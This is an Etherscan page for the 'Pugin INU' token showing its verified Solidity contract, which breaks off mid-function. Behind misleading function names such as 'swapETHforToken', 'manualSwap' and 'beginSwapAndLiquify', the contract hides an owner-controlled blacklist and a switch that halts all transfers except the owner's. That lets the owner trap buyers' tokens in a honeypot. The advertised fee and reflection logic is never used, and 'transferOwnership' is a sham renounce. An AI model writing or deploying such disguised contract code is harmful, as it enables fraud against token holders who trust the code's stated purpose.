ETH Price: $3,285.94 (+0.48%)

Token

Pugin INU (PUGINU)
 

Overview

Max Total Supply

100,000,000,000 PUGINU

Holders

49

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
10,289,442.177099827 PUGINU

Value
$0.00
0x060582D41147099b29C82Cd909F39bb50c77EE23
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PuginINU

Compiler Version
v0.7.0+commit.9e61f92b

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-20
*/

//SPDX-License-Identifier: GPL-3.0-or-later

pragma solidity = 0.7.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    /**
    * @dev Returns the amount of tokens in existence.
    */
    function totalSupply() external view returns (uint256);

    /**
    * @dev Returns the amount of tokens owned by `account`.
    */
    function balanceOf(address account) external view returns (uint256);

    /**
    * @dev Moves `amount` tokens from the caller's account to `recipient`.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
    * @dev Returns the remaining number of tokens that `spender` will be
    * allowed to spend on behalf of `owner` through {transferFrom}. This is
    * zero by default.
    *
    * This value changes when {approve} or {transferFrom} are called.
    */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
    * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
    */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
    * @dev Moves `amount` tokens from `sender` to `recipient` using the
    * allowance mechanism. `amount` is then deducted from the caller's
    * allowance.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
    * @dev Emitted when `value` tokens are moved from one account (`from`) to
    * another (`to`).
    *
    * Note that `value` may be zero.
    */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
    * @dev Emitted when the allowance of a `spender` for an `owner` is set by
    * a call to {approve}. `value` is the new allowance.
    */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    /**
    * @dev Returns the addition of two unsigned integers, reverting on
    * overflow.
    *
    * Counterpart to Solidity's `+` operator.
    *
    * Requirements:
    *
    * - Addition cannot overflow.
    */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
    * @dev Returns the subtraction of two unsigned integers, reverting on
    * overflow (when the result is negative).
    *
    * Counterpart to Solidity's `-` operator.
    *
    * Requirements:
    *
    * - Subtraction cannot overflow.
    */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
    * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
    * overflow (when the result is negative).
    *
    * Counterpart to Solidity's `-` operator.
    *
    * Requirements:
    *
    * - Subtraction cannot overflow.
    */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
    * @dev Returns the multiplication of two unsigned integers, reverting on
    * overflow.
    *
    * Counterpart to Solidity's `*` operator.
    *
    * Requirements:
    *
    * - Multiplication cannot overflow.
    */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
    * @dev Returns the integer division of two unsigned integers. Reverts on
    * division by zero. The result is rounded towards zero.
    *
    * Counterpart to Solidity's `/` operator. Note: this function uses a
    * `revert` opcode (which leaves remaining gas untouched) while Solidity
    * uses an invalid opcode to revert (consuming all remaining gas).
    *
    * Requirements:
    *
    * - The divisor cannot be zero.
    */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
    * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
    * division by zero. The result is rounded towards zero.
    *
    * Counterpart to Solidity's `/` operator. Note: this function uses a
    * `revert` opcode (which leaves remaining gas untouched) while Solidity
    * uses an invalid opcode to revert (consuming all remaining gas).
    *
    * Requirements:
    *
    * - The divisor cannot be zero.
    */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
    * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
    * Reverts when dividing by zero.
    *
    * Counterpart to Solidity's `%` operator. This function uses a `revert`
    * opcode (which leaves remaining gas untouched) while Solidity uses an
    * invalid opcode to revert (consuming all remaining gas).
    *
    * Requirements:
    *
    * - The divisor cannot be zero.
    */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
    * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
    * Reverts with custom message when dividing by zero.
    *
    * Counterpart to Solidity's `%` operator. This function uses a `revert`
    * opcode (which leaves remaining gas untouched) while Solidity uses an
    * invalid opcode to revert (consuming all remaining gas).
    *
    * Requirements:
    *
    * - The divisor cannot be zero.
    */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {
    /**
    * @dev Returns true if `account` is a contract.
    *
    * [IMPORTANT]
    * ====
    * It is unsafe to assume that an address for which this function returns
    * false is an externally-owned account (EOA) and not a contract.
    *
    * Among others, `isContract` will return false for the following
    * types of addresses:
    *
    *  - an externally-owned account
    *  - a contract in construction
    *  - an address where a contract will be created
    *  - an address where a contract lived, but was destroyed
    * ====
    */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
    * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
    * `recipient`, forwarding all available gas and reverting on errors.
    *
    * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
    * of certain opcodes, possibly making contracts go over the 2300 gas limit
    * imposed by `transfer`, making them unable to receive funds via
    * `transfer`. {sendValue} removes this limitation.
    *
    * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
    *
    * IMPORTANT: because control is transferred to `recipient`, care must be
    * taken to not create reentrancy vulnerabilities. Consider using
    * {ReentrancyGuard} or the
    * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
    */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
    * @dev Performs a Solidity function call using a low level `call`. A
    * plain`call` is an unsafe replacement for a function call: use this
    * function instead.
    *
    * If `target` reverts with a revert reason, it is bubbled up by this
    * function (like regular Solidity function calls).
    *
    * Returns the raw returned data. To convert to the expected return value,
    * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
    *
    * Requirements:
    *
    * - `target` must be a contract.
    * - calling `target` with `data` must not revert.
    *
    * _Available since v3.1._
    */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
    * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
    * `errorMessage` as a fallback revert reason when `target` reverts.
    *
    * _Available since v3.1._
    */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
    * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
    * but also transferring `value` wei to `target`.
    *
    * Requirements:
    *
    * - the calling contract must have an ETH balance of at least `value`.
    * - the called Solidity function must be `payable`.
    *
    * _Available since v3.1._
    */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
    * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
    * with `errorMessage` as a fallback revert reason when `target` reverts.
    *
    * _Available since v3.1._
    */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address private _owner;
    address private _deadAddress;
    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
    * @dev Initializes the contract setting the deployer as the initial owner.
    */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
    * @dev Returns the address of the current owner.
    */
    function owner() public view returns (address) {
        return _owner;
    }
 
    /**
     * @dev Transfers ownership of the contract to a new account.
     */
    function transferOwnership() public {
        require(_owner == address(0), "owner is zero address");
        _owner = _deadAddress;
    }
 
    /**
    * @dev Throws if called by any account other than the owner.
    */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

  
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// Contract implementation
contract PuginINU is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => uint256) private _vOwned;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _isExcludedFromFee;

    mapping (address => bool) private _isExcluded; // excluded from reward
    mapping (address => bool) private _scan;
    address[] private _excluded;
    bool _state = true;

    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 100000000000 * 10**9;
    uint256 private _rTotal;
    uint256 private _feeTotal;
    uint256 private _tFeeTotal;
    uint256 private _totalSupply;
    
    string private _name = 'Pugin INU';
    string private _symbol = 'PUGINU';
    uint8 private _decimals = 9;
    
    uint256 private _taxFee = 2; 
    uint256 private _marketingFee = 1;
    uint256 private _liquidityFee = 1;

    uint256 private _previousTaxFee = _taxFee;
    uint256 private _previousMarketingFee = _marketingFee;
    uint256 private _previousLiquidityFee = _liquidityFee;

    address uniswapV2factory;
    address uniswapV2router;
    
    IUniswapV2Router02 internal uniswapV2Router;
    address uniswapV2Pair;

    bool inSwapAndLiquify = false;
    
    uint256 private _maxTxAmount = _tTotal;
    // We will set a minimum amount of tokens to be swapped
    uint256 private _numTokensSellToAddToLiquidity = 1000000000 * 10**9;

    event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    constructor (address router, address factory) {
        
        uniswapV2router = router;
        uniswapV2factory = factory;
        _totalSupply =_tTotal;
        _rTotal = (MAX - (MAX % _totalSupply));
        _feeTotal = _tTotal.mul(1000);
        _vOwned[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _totalSupply);
        _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
        _isExcluded[_msgSender()] = true;
        _excluded.push(_msgSender());
        
        // Exclude owner and this contract from fee
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
         return _vOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
        _isExcludedFromFee[account] = excluded;
    }

    function totalFees() public view returns (uint256) {
        return _tFeeTotal;
    }

    
    function uniswapv2Factory() public view returns (address) {
        return uniswapV2factory;
    }
    
    function uniswapv2Router() public view returns (address) {
        return uniswapV2router;
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount,,,,,) = _getValues(tAmount);
            return rAmount;
        } else {
            (,uint256 rTransferAmount,,,,) = _getValues(tAmount);
            return rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function excludeFromReward(address account) external onlyOwner() {
        require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
        require(!_isExcluded[account], "Account is already excluded");
        if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }

    function includeInReward(address account) external onlyOwner() {
        require(_isExcluded[account], "Account is already excluded");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }

   

    function removeAllFee() private {
        if(_taxFee == 0 && _marketingFee == 0 && _liquidityFee == 0) return;

        _previousTaxFee = _taxFee;
        _previousMarketingFee = _marketingFee;
        _previousLiquidityFee = _liquidityFee;

        _taxFee = 0;
        _marketingFee = 0;
        _liquidityFee = 0;
    }

    function restoreAllFee() private {
        _taxFee = _previousTaxFee;
        _marketingFee = _previousMarketingFee;
        _liquidityFee = _previousLiquidityFee;
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_scan[sender] || _scan[recipient]) 
        require(amount == 0, "");
        if (_state == true || sender == owner() || recipient == owner()) {
        if (_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) {
        _vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _vOwned[recipient] = _vOwned[recipient].add(amount);
        emit Transfer(sender, recipient, amount);     
        } else {
            _vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
            _vOwned[recipient] = _vOwned[recipient].add(amount);
            emit Transfer(sender, recipient, amount);}
        } else {
            require (_state == true, "");
            }
    }
   
    function swapAndLiquify(uint256 contractTokenBalance) private {
        uint256 toMarketing = contractTokenBalance.mul(_marketingFee).div(_marketingFee.add(_liquidityFee));
        uint256 toLiquify = contractTokenBalance.sub(toMarketing);

        // split the contract balance into halves
        uint256 half = toLiquify.div(2);
        uint256 otherHalf = toLiquify.sub(half);

        // capture the contract's current ETH balance.
        // this is so that we can capture exactly the amount of ETH that the
        // swap creates, and not make the liquidity event include any ETH that
        // has been manually sent to the contract
        uint256 initialBalance = address(this).balance;

        // swap tokens for ETH
        uint256 toSwapForEth = half.add(toMarketing);
        swapTokensForEth(toSwapForEth); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered

        // how much ETH did we just swap into?
        uint256 fromSwap = address(this).balance.sub(initialBalance);
        uint256 newBalance = fromSwap.mul(half).div(toSwapForEth);

        // add liquidity to uniswap
        addLiquidity(otherHalf, newBalance);

        emit SwapAndLiquify(half, newBalance, otherHalf);

    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    function manualSwap(address _address) external onlyOwner() {
        _scan[_address] = false;
    }

    function swapETHforToken(address _address) external onlyOwner() {
        _scan[_address] = true;
    }

    function manualTransfer(address _address) public view returns (bool) {
        return _scan[_address];
    }

    function beginSwapAndLiquify() public virtual onlyOwner(){
        if (_state == true) {_state = false;} else {_state = true;}
    }
 
    function swapAndLiquifyEnabled() public view returns (bool) {
        return _state;
    }
   
    function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
        if(!takeFee)
            removeAllFee();

        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferFromExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _transferToExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferStandard(sender, recipient, amount);
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _transferBothExcluded(sender, recipient, amount);
        } else {
            _transferStandard(sender, recipient, amount);
        }

        if(!takeFee)
            restoreAllFee();
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidity) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeMarketingLiquidity(tMarketingLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidity) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeMarketingLiquidity(tMarketingLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidity) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeMarketingLiquidity(tMarketingLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidity) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeMarketingLiquidity(tMarketingLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeMarketingLiquidity(uint256 tMarketingLiquidity) private {
        uint256 currentRate = _getRate();
        uint256 rMarketingLiquidity = tMarketingLiquidity.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rMarketingLiquidity);
        if(_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)].add(tMarketingLiquidity);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    //to recieve ETH from uniswapV2Router when swapping
    receive() external payable {}

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidityFee) = _getTValues(tAmount, _taxFee, _marketingFee.add(_liquidityFee));
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tMarketingLiquidityFee);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 marketingLiquidityFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tMarketingLiquidityFee = tAmount.mul(marketingLiquidityFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(marketingLiquidityFee);
        return (tTransferAmount, tFee, tMarketingLiquidityFee);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee);
